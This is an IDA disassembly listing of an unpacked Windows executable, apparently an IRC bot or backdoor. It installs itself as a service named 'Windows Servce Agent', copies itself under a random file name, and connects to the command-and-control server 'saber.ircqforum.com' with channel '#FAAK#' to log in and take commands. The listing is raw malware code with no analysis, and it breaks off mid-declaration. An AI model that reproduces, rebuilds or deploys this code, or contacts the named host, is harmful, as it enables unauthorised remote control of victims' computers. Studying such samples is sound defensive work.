; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 0F287347F687F95CC6E47452E04C137C ; File Name : u:\work\0f287347f687f95cc6e47452e04c137c_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServceA ; "Windows Servce Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF28 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAF98 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAED8 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF50 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEBC call dword_4CB00C call sub_40B2BF call dword_4CAECC call dword_4CAECC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D128 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 2660AE4h nop lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2660000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2651D2Ah test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D120 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACB0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACB4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB020 push 7530h push offset aDark ; "Dark" push ebx push ebx nop call near ptr 2680000h push eax nop call near ptr 2670ECEh cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAEE4 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2660AE4h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2670D31h push eax call near ptr 2660000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293C4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293BC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 2670C8Fh cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2670B90h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C call near ptr 2670763h nop cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h call near ptr 2660F57h nop lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax call near ptr 2670B90h nop push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D128 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 26706FCh push eax push esi push 100000h call near ptr 267020Dh nop lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293B0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2651D2Ah test eax, eax jz short loc_401516 push 0C8h nop call near ptr 2660F57h push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAECC push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB294, 2 jle short loc_401562 mov eax, dword_4DB298 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2670ECEh push esi nop call near ptr 2651957h mov eax, dword_4DB298 cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 2660F57h mov eax, dword_4DB298 push dword ptr [eax+8] nop call near ptr 267015Dh loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB044, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429394 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D130 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429370 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_401622 nop call near ptr 2670763h push eax lea eax, [ebp-0A0h] push offset unk_429330 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429304 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_40169A nop call near ptr 2670763h push eax lea eax, [ebp-0A0h] push offset dword_4292D0 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACBC mov dword_4CAE28, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD3C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CAD7C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE10, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACB8 mov dword_4CAE24, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE24, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 2660F57h nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACBC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACBC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAECC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAF74 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEC8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CAFF4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEBC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB00C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j call near ptr 2660F57h nop jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293CC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB00C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE20, bl jz short loc_40199A push offset byte_4CAE20 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB00C push 1388h nop call near ptr 2660F57h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAF8C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2660F57h jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword 